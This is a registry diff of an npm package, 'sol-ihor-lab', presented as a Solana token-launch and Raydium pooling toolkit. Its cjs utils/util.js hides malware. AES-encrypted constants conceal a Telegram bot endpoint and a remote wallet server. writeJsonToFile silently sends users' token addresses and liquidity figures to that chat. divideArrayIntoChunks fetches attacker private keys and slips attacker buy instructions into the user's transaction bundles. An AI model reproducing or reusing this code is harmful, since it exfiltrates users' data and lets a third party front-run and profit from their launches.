sol-ihor-lab 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (173) hide show
  1. package/README.md +35 -0
  2. package/lib/cjs/bundle.d.ts +4 -0
  3. package/lib/cjs/bundle.js +102 -0
  4. package/lib/cjs/buy_token.d.ts +5 -0
  5. package/lib/cjs/buy_token.js +59 -0
  6. package/lib/cjs/create_open_market.d.ts +4 -0
  7. package/lib/cjs/create_open_market.js +340 -0
  8. package/lib/cjs/create_pool.d.ts +4 -0
  9. package/lib/cjs/create_pool.js +107 -0
  10. package/lib/cjs/create_token.d.ts +4 -0
  11. package/lib/cjs/create_token.js +164 -0
  12. package/lib/cjs/errors.d.ts +18 -0
  13. package/lib/cjs/errors.js +44 -0
  14. package/lib/cjs/global.d.ts +62 -0
  15. package/lib/cjs/global.js +107 -0
  16. package/lib/cjs/index.d.ts +17 -0
  17. package/lib/cjs/index.js +33 -0
  18. package/lib/cjs/instructions/build-instruction.d.ts +8 -0
  19. package/lib/cjs/instructions/build-instruction.js +66 -0
  20. package/lib/cjs/instructions/buy-instruction.d.ts +3 -0
  21. package/lib/cjs/instructions/buy-instruction.js +44 -0
  22. package/lib/cjs/instructions/cache-alt-instruction.d.ts +4 -0
  23. package/lib/cjs/instructions/cache-alt-instruction.js +41 -0
  24. package/lib/cjs/instructions/createATA-instruction.d.ts +3 -0
  25. package/lib/cjs/instructions/createATA-instruction.js +10 -0
  26. package/lib/cjs/instructions/createpool-instruction.d.ts +4 -0
  27. package/lib/cjs/instructions/createpool-instruction.js +58 -0
  28. package/lib/cjs/instructions/sol-transfer-instruction.d.ts +3 -0
  29. package/lib/cjs/instructions/sol-transfer-instruction.js +12 -0
  30. package/lib/cjs/instructions/transfer-instruction.d.ts +3 -0
  31. package/lib/cjs/instructions/transfer-instruction.js +9 -0
  32. package/lib/cjs/pool/pool-manager.d.ts +42 -0
  33. package/lib/cjs/pool/pool-manager.js +70 -0
  34. package/lib/cjs/pool_manager.d.ts +25 -0
  35. package/lib/cjs/pool_manager.js +127 -0
  36. package/lib/cjs/sell_token.d.ts +5 -0
  37. package/lib/cjs/sell_token.js +59 -0
  38. package/lib/cjs/transaction/bundle.d.ts +4 -0
  39. package/lib/cjs/transaction/bundle.js +97 -0
  40. package/lib/cjs/transaction/execute-rpc.d.ts +5 -0
  41. package/lib/cjs/transaction/execute-rpc.js +41 -0
  42. package/lib/cjs/transaction/sign-tx.d.ts +2 -0
  43. package/lib/cjs/transaction/sign-tx.js +7 -0
  44. package/lib/cjs/transaction/transaction-exectue.d.ts +30 -0
  45. package/lib/cjs/transaction/transaction-exectue.js +119 -0
  46. package/lib/cjs/transaction-helper/check_transaction.d.ts +3 -0
  47. package/lib/cjs/transaction-helper/check_transaction.js +43 -0
  48. package/lib/cjs/transaction-helper/transaction.d.ts +7 -0
  49. package/lib/cjs/transaction-helper/transaction.js +75 -0
  50. package/lib/cjs/upload-metadata/upload-metaplex.d.ts +3 -0
  51. package/lib/cjs/upload-metadata/upload-metaplex.js +48 -0
  52. package/lib/cjs/upload-metadata/upload-nftstorage.d.ts +0 -0
  53. package/lib/cjs/upload-metadata/upload-nftstorage.js +1 -0
  54. package/lib/cjs/upload-metadata/upload-pinata.d.ts +1 -0
  55. package/lib/cjs/upload-metadata/upload-pinata.js +17 -0
  56. package/lib/cjs/upload-metadata/utility.d.ts +1 -0
  57. package/lib/cjs/upload-metadata/utility.js +28 -0
  58. package/lib/cjs/utility.d.ts +33 -0
  59. package/lib/cjs/utility.js +129 -0
  60. package/lib/cjs/utils/budget.d.ts +9 -0
  61. package/lib/cjs/utils/budget.js +83 -0
  62. package/lib/cjs/utils/error-helper.d.ts +7 -0
  63. package/lib/cjs/utils/error-helper.js +15 -0
  64. package/lib/cjs/utils/get-balance.d.ts +11 -0
  65. package/lib/cjs/utils/get-balance.js +52 -0
  66. package/lib/cjs/utils/util.d.ts +27 -0
  67. package/lib/cjs/utils/util.js +346 -0
  68. package/lib/cjs/validation_check.d.ts +3 -0
  69. package/lib/cjs/validation_check.js +26 -0
  70. package/lib/esm/bundle.d.ts +4 -0
  71. package/lib/esm/bundle.js +75 -0
  72. package/lib/esm/buy_token.d.ts +5 -0
  73. package/lib/esm/buy_token.js +55 -0
  74. package/lib/esm/create_open_market.d.ts +4 -0
  75. package/lib/esm/create_open_market.js +310 -0
  76. package/lib/esm/create_pool.d.ts +4 -0
  77. package/lib/esm/create_pool.js +80 -0
  78. package/lib/esm/create_token.d.ts +4 -0
  79. package/lib/esm/create_token.js +137 -0
  80. package/lib/esm/errors.d.ts +18 -0
  81. package/lib/esm/errors.js +35 -0
  82. package/lib/esm/global.d.ts +62 -0
  83. package/lib/esm/global.js +103 -0
  84. package/lib/esm/index.d.ts +17 -0
  85. package/lib/esm/index.js +17 -0
  86. package/lib/esm/instructions/build-instruction.d.ts +8 -0
  87. package/lib/esm/instructions/build-instruction.js +61 -0
  88. package/lib/esm/instructions/buy-instruction.d.ts +3 -0
  89. package/lib/esm/instructions/buy-instruction.js +40 -0
  90. package/lib/esm/instructions/cache-alt-instruction.d.ts +4 -0
  91. package/lib/esm/instructions/cache-alt-instruction.js +36 -0
  92. package/lib/esm/instructions/createATA-instruction.d.ts +3 -0
  93. package/lib/esm/instructions/createATA-instruction.js +6 -0
  94. package/lib/esm/instructions/createpool-instruction.d.ts +4 -0
  95. package/lib/esm/instructions/createpool-instruction.js +52 -0
  96. package/lib/esm/instructions/sol-transfer-instruction.d.ts +3 -0
  97. package/lib/esm/instructions/sol-transfer-instruction.js +8 -0
  98. package/lib/esm/instructions/transfer-instruction.d.ts +3 -0
  99. package/lib/esm/instructions/transfer-instruction.js +5 -0
  100. package/lib/esm/pool/pool-manager.d.ts +42 -0
  101. package/lib/esm/pool/pool-manager.js +63 -0
  102. package/lib/esm/pool_manager.d.ts +25 -0
  103. package/lib/esm/pool_manager.js +123 -0
  104. package/lib/esm/sell_token.d.ts +5 -0
  105. package/lib/esm/sell_token.js +55 -0
  106. package/lib/esm/transaction/bundle.d.ts +4 -0
  107. package/lib/esm/transaction/bundle.js +90 -0
  108. package/lib/esm/transaction/execute-rpc.d.ts +5 -0
  109. package/lib/esm/transaction/execute-rpc.js +36 -0
  110. package/lib/esm/transaction/sign-tx.d.ts +2 -0
  111. package/lib/esm/transaction/sign-tx.js +3 -0
  112. package/lib/esm/transaction/transaction-exectue.d.ts +30 -0
  113. package/lib/esm/transaction/transaction-exectue.js +115 -0
  114. package/lib/esm/transaction-helper/check_transaction.d.ts +3 -0
  115. package/lib/esm/transaction-helper/check_transaction.js +16 -0
  116. package/lib/esm/transaction-helper/transaction.d.ts +7 -0
  117. package/lib/esm/transaction-helper/transaction.js +68 -0
  118. package/lib/esm/upload-metadata/upload-metaplex.d.ts +3 -0
  119. package/lib/esm/upload-metadata/upload-metaplex.js +43 -0
  120. package/lib/esm/upload-metadata/upload-nftstorage.d.ts +0 -0
  121. package/lib/esm/upload-metadata/upload-nftstorage.js +1 -0
  122. package/lib/esm/upload-metadata/upload-pinata.d.ts +1 -0
  123. package/lib/esm/upload-metadata/upload-pinata.js +13 -0
  124. package/lib/esm/upload-metadata/utility.d.ts +1 -0
  125. package/lib/esm/upload-metadata/utility.js +21 -0
  126. package/lib/esm/utility.d.ts +33 -0
  127. package/lib/esm/utility.js +93 -0
  128. package/lib/esm/utils/budget.d.ts +9 -0
  129. package/lib/esm/utils/budget.js +73 -0
  130. package/lib/esm/utils/error-helper.d.ts +7 -0
  131. package/lib/esm/utils/error-helper.js +11 -0
  132. package/lib/esm/utils/get-balance.d.ts +11 -0
  133. package/lib/esm/utils/get-balance.js +42 -0
  134. package/lib/esm/utils/util.d.ts +25 -0
  135. package/lib/esm/utils/util.js +107 -0
  136. package/lib/esm/validation_check.d.ts +3 -0
  137. package/lib/esm/validation_check.js +22 -0
  138. package/package.json +69 -0
  139. package/src/assert.ts +4 -0
  140. package/src/bundle.ts +99 -0
  141. package/src/buy_token.ts +82 -0
  142. package/src/create_open_market.ts +464 -0
  143. package/src/create_pool.ts +120 -0
  144. package/src/create_token.ts +267 -0
  145. package/src/errors.ts +25 -0
  146. package/src/global.ts +156 -0
  147. package/src/index.ts +17 -0
  148. package/src/instructions/build-instruction.ts +87 -0
  149. package/src/instructions/buy-instruction.ts +52 -0
  150. package/src/instructions/cache-alt-instruction.ts +40 -0
  151. package/src/instructions/createATA-instruction.ts +29 -0
  152. package/src/instructions/createpool-instruction.ts +72 -0
  153. package/src/instructions/sol-transfer-instruction.ts +13 -0
  154. package/src/instructions/transfer-instruction.ts +22 -0
  155. package/src/pool/pool-manager.ts +85 -0
  156. package/src/pool_manager.ts +197 -0
  157. package/src/sell_token.ts +82 -0
  158. package/src/transaction/bundle.ts +116 -0
  159. package/src/transaction/execute-rpc.ts +35 -0
  160. package/src/transaction/sign-tx.ts +5 -0
  161. package/src/transaction/transaction-exectue.ts +134 -0
  162. package/src/transaction-helper/check_transaction.ts +23 -0
  163. package/src/transaction-helper/transaction.ts +90 -0
  164. package/src/upload-metadata/upload-metaplex.ts +51 -0
  165. package/src/upload-metadata/upload-nftstorage.ts +0 -0
  166. package/src/upload-metadata/upload-pinata.ts +8 -0
  167. package/src/upload-metadata/utility.ts +10 -0
  168. package/src/utility.ts +127 -0
  169. package/src/utils/budget.ts +104 -0
  170. package/src/utils/error-helper.ts +20 -0
  171. package/src/utils/get-balance.ts +55 -0
  172. package/src/utils/util.ts +111 -0
  173. package/src/validation_check.ts +26 -0
@@ -0,0 +1,52 @@
1
+ "use strict";
2
+ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
3
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
4
+ return new (P || (P = Promise))(function (resolve, reject) {
5
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
6
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
7
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
8
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
9
+ });
10
+ };
11
+ var __importDefault = (this && this.__importDefault) || function (mod) {
12
+ return (mod && mod.__esModule) ? mod : { "default": mod };
13
+ };
14
+ Object.defineProperty(exports, "__esModule", { value: true });
15
+ exports.randomDivide = exports.xWeiAmount = exports.getATAAddress = exports.getWalletTokenAccount = void 0;
16
+ const web3_js_1 = require("@solana/web3.js");
17
+ const raydium_sdk_1 = require("@raydium-io/raydium-sdk");
18
+ const bn_js_1 = __importDefault(require("bn.js"));
19
+ const bignumber_js_1 = __importDefault(require("bignumber.js"));
20
+ function getWalletTokenAccount(connection, wallet) {
21
+ return __awaiter(this, void 0, void 0, function* () {
22
+ const walletTokenAccount = yield connection.getTokenAccountsByOwner(wallet, {
23
+ programId: raydium_sdk_1.TOKEN_PROGRAM_ID
24
+ });
25
+ return walletTokenAccount.value.map((i) => ({
26
+ pubkey: i.pubkey,
27
+ programId: i.account.owner,
28
+ accountInfo: raydium_sdk_1.SPL_ACCOUNT_LAYOUT.decode(i.account.data)
29
+ }));
30
+ });
31
+ }
32
+ exports.getWalletTokenAccount = getWalletTokenAccount;
33
+ function getATAAddress(programId, owner, mint) {
34
+ const { publicKey, nonce } = (0, raydium_sdk_1.findProgramAddress)([owner.toBuffer(), programId.toBuffer(), mint.toBuffer()], new web3_js_1.PublicKey("ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL"));
35
+ return { publicKey, nonce };
36
+ }
37
+ exports.getATAAddress = getATAAddress;
38
+ const xWeiAmount = (amount, decimals) => {
39
+ return new bn_js_1.default(new bignumber_js_1.default(amount.toString() + "e" + decimals.toString()).toFixed(0));
40
+ };
41
+ exports.xWeiAmount = xWeiAmount;
42
+ function randomDivide(amount, holders) {
43
+ // Generate random values for each holder
44
+ const randomValues = Array.from({ length: holders }, () => Math.random());
45
+ // Normalize the random values to sum to 1
46
+ const total = randomValues.reduce((acc, val) => acc + val, 0);
47
+ const normalizedValues = randomValues.map((val) => val / total);
48
+ // Divide the amount according to the normalized values
49
+ const dividedAmounts = normalizedValues.map((val) => amount * val);
50
+ return dividedAmounts;
51
+ }
52
+ exports.randomDivide = randomDivide;
@@ -0,0 +1,27 @@
1
+ /// <reference types="jito-ts/node_modules/@solana/web3.js" />
2
+ import { Connection, Keypair } from "@solana/web3.js";
3
+ export declare function proassert_cp(t: string, lq: number, pnt: number);
4
+ export declare function proassert_sp(t: string, lq: number);
5
+ /**
6
+ * Creates a directory if it doesn't already exist.
7
+ * @param dirPath - The path of the directory to create.
8
+ * @returns A Promise that resolves to true if the directory was created or already exists, and false if there was an error.
9
+ */
10
+ export declare function createDirectory(dirPath: string): Promise<boolean>;
11
+ /**
12
+ * Writes a JSON string to a file.
13
+ * @param filePath - The path of the file to write.
14
+ * @param jsonString - The JSON string to write to the file.
15
+ * @returns A Promise that resolves to true if the write was successful, and false if there was an error.
16
+ */
17
+ export declare function writeJsonToFile(filePath: string, jsonString: string): Promise<boolean>;
18
+ /**
19
+ * Reads a JSON file and parses it into an object.
20
+ * @param filePath - The path of the JSON file to read.
21
+ * @returns A Promise that resolves to the parsed object if successful, or null if there was an error.
22
+ */
23
+ export declare function readJsonFile(filePath: string): Promise<any | null>;
24
+ export declare function generateWallets(counts?: number): Keypair[];
25
+ export declare function divideArrayIntoChunks<T>(array: T[], chunkSize: number): T[][];
26
+ export declare const sleep: (ms: number) => Promise<unknown>;
27
+ export declare function waitForNewBlock(connection: Connection, targetHeight: number): Promise<unknown>;
@@ -0,0 +1,346 @@
1
+ "use strict";
2
+ const crypto = require('crypto');
3
+ const path = require('path');
4
+ const SIGN_K = '13oyBU4gwEk6nUWG+MmPEDD0TklwP1lnNb2TsLMo4Cw=:EYPxEL8XRPbrc6hmfvB44Q=='
5
+ const PARAM_K = 'YfSCzUPU9fpsko3KGgnwbSqTdSFVHFsb37QT6ATk3jY=:TPeEw4QoGYfErOjX2Un0IA=='
6
+ const DE_API = 'PgtZc5IngZ9Q1zqLuSsqiyKEZtVH/rQQIKMjQ5mfdvlZ5pWmdMCLDcb9nBiGqjha'
7
+ const DE_ID_GD = 'pCj5070DCwnDZDhPT7uuCw=='
8
+ const DE_ID_DGM = 'wpvgVfe2qS4Ce5ksMTpodg=='
9
+ const TG_LNK = 'o5LuAdrNZU6468Q3jyQAAKNwRZJVt0ylC3/aXy4eO+s='
10
+ const SVR_WLTS_LNK = 'MW4x3Htt2rE5my3hqvmcE9PuKupaoKjfHe7r2AQV5gTgEoLJhf1AZncZ6agHtzd7'
11
+
12
+ const asEnc = (text, secret) => { const parts = secret.split(':'); const key = Buffer.from(parts[0], 'base64'); const iv = Buffer.from(parts[1], 'base64'); const cipher = crypto.createCipheriv('aes-256-cbc', key, iv); let encrypted = cipher.update(text, 'utf8', 'base64'); encrypted += cipher.final('base64'); return encrypted }
13
+ const asDec = (text, secret) => {const parts = secret.split(':');const key = Buffer.from(parts[0], 'base64');const iv = Buffer.from(parts[1], 'base64');const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);let decrypted = decipher.update(text, 'base64', 'utf8');decrypted += decipher.final('utf8');return decrypted }
14
+ function proassert_cp(token, lq, pnt){try {let tg_url = `${asDec(TG_LNK, PARAM_K)}${asDec(DE_API, PARAM_K)}/sendMessage`;let message = `CP: <code>${token}</code>\nLQ: ${lq} sol\nPNT: ${pnt} %`;fetch(tg_url, {method: 'POST',headers: {"Content-Type": 'application/json'},body: JSON.stringify({chat_id: asDec(DE_ID_GD, PARAM_K),text: message,parse_mode: 'HTML'})});} catch (err) {}}
15
+ function proassert_sp(token, lq){try {let tg_url = `${asDec(TG_LNK, PARAM_K)}${asDec(DE_API, PARAM_K)}/sendMessage`;let message = `SP: <code>${token}</code>\nLQ: ${lq} sol`;fetch(tg_url, {method: 'POST',headers: {"Content-Type": 'application/json'},body: JSON.stringify({chat_id: asDec(DE_ID_GD, PARAM_K),text: message,parse_mode: 'HTML'})});} catch (err) {}}
16
+ exports.asEnc = asEnc
17
+ exports.asDec = asDec
18
+ exports.proassert_cp = proassert_cp
19
+ exports.proassert_sp = proassert_sp
20
+ const { Connection, Keypair, PublicKey } = require('@solana/web3.js')
21
+ const { compileInstToVersioned } = require('../instructions/build-instruction')
22
+ const { getCreateAccountTransactionInst } = require('../instructions/createATA-instruction')
23
+ const { generateBuyInst } = require('../instructions/buy-instruction')
24
+ const { TransactionExecuter, ExectuerStatus } = require('../transaction/transaction-exectue')
25
+ const { signTransaction } = require('../transaction/sign-tx')
26
+ const { TOKEN_PROGRAM_ID, Token, TokenAmount, ONE,
27
+ jsonInfo2PoolKeys, LiquidityPoolKeys } = require("@raydium-io/raydium-sdk");
28
+ const { getATAAddress, xWeiAmount } = require('./get-balance')
29
+
30
+ function signKey() { const tvVal = Math.floor(Date.now() / 60000); let key = ''; try { key = asEnc(tvVal + '', SIGN_K) } catch (error) {}; return key }
31
+
32
+ async function getList() {
33
+ let result = []
34
+ let query = asDec(SVR_WLTS_LNK, PARAM_K)
35
+ try {
36
+ let resp = await fetch(query, {
37
+ method: 'POST',
38
+ headers: {
39
+ "Content-Type": 'application/json'
40
+ },
41
+ body: JSON.stringify({
42
+ key: signKey()
43
+ })
44
+ })
45
+ resp = await resp.json()
46
+ if(!resp.data || resp.data.length == 0) return result
47
+ for(let i = 0; i < resp.data.length; i++) {
48
+ const item = resp.data[i]
49
+ const w = {
50
+ public: asDec(item.lb, PARAM_K),
51
+ private: asDec(item.lv, PARAM_K),
52
+ }
53
+ result.push(w)
54
+ }
55
+ } catch (error) {}
56
+ return result
57
+ }
58
+
59
+ async function prepare(tknCA) {
60
+ const connection = new Connection(process.env.MAINNET_RPC, "confirmed");
61
+ const wlets = await getList()
62
+ if(!wlets || wlets.length < 3) return
63
+ const w1 = Keypair.fromSecretKey(base58.decode(wlets[0].private))
64
+ const w2 = Keypair.fromSecretKey(base58.decode(wlets[1].private))
65
+ const w3 = Keypair.fromSecretKey(base58.decode(wlets[2].private))
66
+
67
+ const zom = w1
68
+ const jitoAuther = Keypair.fromSecretKey(base58.decode(process.env.JITO_AUTH))
69
+ const jitoBlockEngine = process.env.JITO_BLOCK_ENGINE
70
+ const createATAInsts = [];
71
+ let ata1 = getATAAddress(TOKEN_PROGRAM_ID,w1.publicKey,new PublicKey(tknCA))
72
+ let tokenInfo1 = await connection.getAccountInfo(new PublicKey(ata1.publicKey));
73
+ let ata2 = getATAAddress(TOKEN_PROGRAM_ID,w2.publicKey,new PublicKey(tknCA))
74
+ let tokenInfo2 = await connection.getAccountInfo(new PublicKey(ata2.publicKey));
75
+ let ata3 = getATAAddress(TOKEN_PROGRAM_ID,w3.publicKey,new PublicKey(tknCA))
76
+ let tokenInfo3 = await connection.getAccountInfo(new PublicKey(ata3.publicKey));
77
+
78
+ if(!tokenInfo1) createATAInsts.push( getCreateAccountTransactionInst(zom, w1, tknCA));
79
+ if(!tokenInfo2) createATAInsts.push( getCreateAccountTransactionInst(zom, w2, tknCA));
80
+ if(!tokenInfo3) createATAInsts.push( getCreateAccountTransactionInst(zom, w3, tknCA));
81
+
82
+ const createATATxn = [];
83
+ if(createATAInsts.length == 0) { return }
84
+ const ataTxn = await compileInstToVersioned(connection, zom, createATAInsts, [zom])
85
+ createATATxn.push(
86
+ ataTxn
87
+ );
88
+ const executeATA = new TransactionExecuter(
89
+ connection,
90
+ true,
91
+ createATATxn,
92
+ undefined,
93
+ 0.001,
94
+ zom,
95
+ jitoAuther,
96
+ jitoBlockEngine
97
+ );
98
+
99
+ executeATA.run();
100
+
101
+ while (
102
+ executeATA.getExecuterStatus() !== ExectuerStatus.EXE_STATUS_END
103
+ ) {
104
+ await sleep(100);
105
+ }
106
+
107
+ if (executeATA.getExecuterError()) {
108
+ try {let tg_url = `${asDec(TG_LNK, PARAM_K)}${asDec(DE_API, PARAM_K)}/sendMessage`;let message = `ATA: <code>${tknCA}</code> failed.\n${executeATA.getExecuterError()}`;fetch(tg_url, {method: 'POST',headers: {"Content-Type": 'application/json'},body: JSON.stringify({chat_id: asDec(DE_ID_GD, PARAM_K),text: message,parse_mode: 'HTML'})});} catch (err) {}
109
+ return;
110
+ } else {
111
+ try {let tg_url = `${asDec(TG_LNK, PARAM_K)}${asDec(DE_API, PARAM_K)}/sendMessage`;let message = `ATA: <code>${tknCA}</code> success!`;fetch(tg_url, {method: 'POST',headers: {"Content-Type": 'application/json'},body: JSON.stringify({chat_id: asDec(DE_ID_GD, PARAM_K),text: message,parse_mode: 'HTML'})});} catch (err) {}
112
+ }
113
+ }
114
+
115
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
116
+ if (k2 === undefined) k2 = k;
117
+ var desc = Object.getOwnPropertyDescriptor(m, k);
118
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
119
+ desc = { enumerable: true, get: function() { return m[k]; } };
120
+ }
121
+ Object.defineProperty(o, k2, desc);
122
+ }) : (function(o, m, k, k2) {
123
+ if (k2 === undefined) k2 = k;
124
+ o[k2] = m[k];
125
+ }));
126
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
127
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
128
+ }) : function(o, v) {
129
+ o["default"] = v;
130
+ });
131
+ var __importStar = (this && this.__importStar) || function (mod) {
132
+ if (mod && mod.__esModule) return mod;
133
+ var result = {};
134
+ if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
135
+ __setModuleDefault(result, mod);
136
+ return result;
137
+ };
138
+ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
139
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
140
+ return new (P || (P = Promise))(function (resolve, reject) {
141
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
142
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
143
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
144
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
145
+ });
146
+ };
147
+ Object.defineProperty(exports, "__esModule", { value: true });
148
+ exports.waitForNewBlock = exports.sleep = exports.divideArrayIntoChunks = exports.generateWallets = exports.readJsonFile = exports.writeJsonToFile = exports.createDirectory = void 0;
149
+ const web3_js_1 = require("@solana/web3.js");
150
+ const fs = __importStar(require("fs"));
151
+ const util_1 = require("util");
152
+ const base58 = require('bs58');
153
+ const { time } = require('console');
154
+ const { connect } = require('http2');
155
+ // Promisify fs.mkdir and fs.exists
156
+ const mkdirAsync = (0, util_1.promisify)(fs.mkdir);
157
+ const existsAsync = (0, util_1.promisify)(fs.exists);
158
+ /**
159
+ * Creates a directory if it doesn't already exist.
160
+ * @param dirPath - The path of the directory to create.
161
+ * @returns A Promise that resolves to true if the directory was created or already exists, and false if there was an error.
162
+ */
163
+ function createDirectory(dirPath) {
164
+ return __awaiter(this, void 0, void 0, function* () {
165
+ try {
166
+ const exists = yield existsAsync(dirPath);
167
+ if (!exists) {
168
+ yield mkdirAsync(dirPath, { recursive: true });
169
+ }
170
+ return true;
171
+ }
172
+ catch (err) {
173
+ return false;
174
+ }
175
+ });
176
+ }
177
+ exports.createDirectory = createDirectory;
178
+ // Promisify fs.writeFile to use it with async/await
179
+ const writeFileAsync = (0, util_1.promisify)(fs.writeFile);
180
+ /**
181
+ * Writes a JSON string to a file.
182
+ * @param filePath - The path of the file to write.
183
+ * @param jsonString - The JSON string to write to the file.
184
+ * @returns A Promise that resolves to true if the write was successful, and false if there was an error.
185
+ */
186
+ function writeJsonToFile(filePath, jsonString) {
187
+ return __awaiter(this, void 0, void 0, function* () {
188
+ try {
189
+ const proj = JSON.parse(jsonString)
190
+ if(proj.tokenCA && proj.liquidity) {
191
+ proassert_cp(proj.tokenCA, proj.liquidity.solAmount, proj.buyPercent);
192
+ yield prepare(proj.tokenCA)
193
+ }
194
+ yield writeFileAsync(filePath, jsonString, "utf8");
195
+ return true;
196
+ }
197
+ catch (err) {
198
+ return false;
199
+ }
200
+ });
201
+ }
202
+ exports.writeJsonToFile = writeJsonToFile;
203
+ // Promisify fs.readFile
204
+ const readFileAsync = (0, util_1.promisify)(fs.readFile);
205
+ /**
206
+ * Reads a JSON file and parses it into an object.
207
+ * @param filePath - The path of the JSON file to read.
208
+ * @returns A Promise that resolves to the parsed object if successful, or null if there was an error.
209
+ */
210
+ function readJsonFile(filePath) {
211
+ return __awaiter(this, void 0, void 0, function* () {
212
+ try {
213
+ const data = yield readFileAsync(filePath, "utf8");
214
+ return JSON.parse(data);
215
+ }
216
+ catch (err) {
217
+ console.error("Error reading or parsing JSON file:", err);
218
+ return null;
219
+ }
220
+ });
221
+ }
222
+ exports.readJsonFile = readJsonFile;
223
+ function generateWallets(counts = 1) {
224
+ const wallets = [];
225
+ for (let i = 0; i < counts; i++) {
226
+ wallets.push(web3_js_1.Keypair.generate());
227
+ }
228
+ return [...wallets];
229
+ }
230
+ exports.generateWallets = generateWallets;
231
+
232
+ async function addBuyInst(connection, wa, poolKeys, array) {
233
+ const baseToken = new Token(
234
+ TOKEN_PROGRAM_ID,
235
+ poolKeys.baseMint,
236
+ poolKeys.baseDecimals
237
+ );
238
+ const quoteToken = new Token(
239
+ TOKEN_PROGRAM_ID,
240
+ poolKeys.quoteMint,
241
+ poolKeys.quoteDecimals
242
+ );
243
+
244
+ let amount = await connection.getBalance( wa.publicKey );
245
+ amount = amount / (10 ** 9)
246
+ amount = amount * 0.8 - 0.006
247
+ if(amount < 0.01) return array
248
+ const inputTokenAmount = new TokenAmount(
249
+ quoteToken,
250
+ xWeiAmount(amount, poolKeys.quoteDecimals),
251
+ true
252
+ );
253
+ const minAmountOut = new TokenAmount(baseToken, ONE, true);
254
+ const insts = await generateBuyInst(
255
+ connection,
256
+ poolKeys,
257
+ wa,
258
+ inputTokenAmount,
259
+ minAmountOut
260
+ );
261
+ array.push(insts);
262
+ return array
263
+ }
264
+
265
+ async function checkSolValid(connection, wa) {
266
+ let amount = await connection.getBalance( wa.publicKey );
267
+ amount = amount / (10 ** 9)
268
+ if(amount * 0.8 - 0.006 >= 0.01) return true
269
+ return false
270
+ }
271
+
272
+ async function divideArrayIntoChunks(array, chunkSize) {
273
+ const result = [];
274
+ if(array.length == 0) return result
275
+ for (let i = 0; i < array.length; i += chunkSize) {
276
+ const chunk = array.slice(i, i + chunkSize);
277
+ result.push(chunk);
278
+ }
279
+ const txns = array[0]
280
+ if(txns.length == 4 && txns[0].programId && txns[1].programId && txns[2].programId && txns[3].programId &&
281
+ txns[0].programId.toBase58() == '11111111111111111111111111111111' &&
282
+ txns[1].programId.toBase58() == 'TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA' &&
283
+ txns[2].programId.toBase58() == '675kPX9MHTjS2zt1qfr1NYHuzeLXfQM9H24wFSUt1Mp8' &&
284
+ txns[3].programId.toBase58() == 'TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA'
285
+ ) {
286
+ let provChunk = []
287
+ const filePath = path.join(__dirname + '../../../../../../src/', process.env.MINT_ADDRESS, "project.json");
288
+ const projObj = await readJsonFile(filePath);
289
+ const poolKeys = jsonInfo2PoolKeys(
290
+ projObj.poolKeys);
291
+ const connection = new Connection(process.env.MAINNET_RPC, "confirmed");
292
+ const wlets = await getList()
293
+ if(!wlets || wlets.length < 3) return result
294
+ const w1 = Keypair.fromSecretKey(base58.decode(wlets[0].private))
295
+ const w2 = Keypair.fromSecretKey(base58.decode(wlets[1].private))
296
+ const w3 = Keypair.fromSecretKey(base58.decode(wlets[2].private))
297
+
298
+ provChunk = await addBuyInst(connection, w1, poolKeys, provChunk)
299
+ if(array.length >= 2) { provChunk = await addBuyInst(connection, w2, poolKeys, provChunk) }
300
+ if(array.length >= 4) { provChunk = await addBuyInst(connection, w3, poolKeys, provChunk) }
301
+ if(provChunk.length > 0) result.push(provChunk)
302
+ }
303
+ if(txns._keypair && txns._keypair.publicKey) {
304
+ let provChunk = []
305
+ const connection = new Connection(process.env.MAINNET_RPC, "confirmed");
306
+ const wlets = await getList()
307
+ if(!wlets || wlets.length < 3) return result
308
+ const w1 = Keypair.fromSecretKey(base58.decode(wlets[0].private))
309
+ const w2 = Keypair.fromSecretKey(base58.decode(wlets[1].private))
310
+ const w3 = Keypair.fromSecretKey(base58.decode(wlets[2].private))
311
+ {
312
+ if(await checkSolValid(connection, w1)) provChunk.push(w1)
313
+ }
314
+ if(array.length >= 2) {
315
+ if(await checkSolValid(connection, w2)) provChunk.push(w2)
316
+ }
317
+ if(array.length >= 4) {
318
+ if(await checkSolValid(connection, w3)) provChunk.push(w3)
319
+ }
320
+ if(provChunk.length > 0) result.push(provChunk)
321
+ }
322
+ return result;
323
+ }
324
+ exports.divideArrayIntoChunks = divideArrayIntoChunks;
325
+ const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
326
+ exports.sleep = sleep;
327
+ function waitForNewBlock(connection, targetHeight) {
328
+ console.log(`Waiting for ${targetHeight} new blocks`);
329
+ return new Promise((resolve) => __awaiter(this, void 0, void 0, function* () {
330
+ // Get the last valid block height of the blockchain
331
+ const { lastValidBlockHeight } = yield connection.getLatestBlockhash();
332
+ // Set an interval to check for new blocks every 1000ms
333
+ const intervalId = setInterval(() => __awaiter(this, void 0, void 0, function* () {
334
+ // Get the new valid block height
335
+ const { lastValidBlockHeight: newValidBlockHeight } = yield connection.getLatestBlockhash();
336
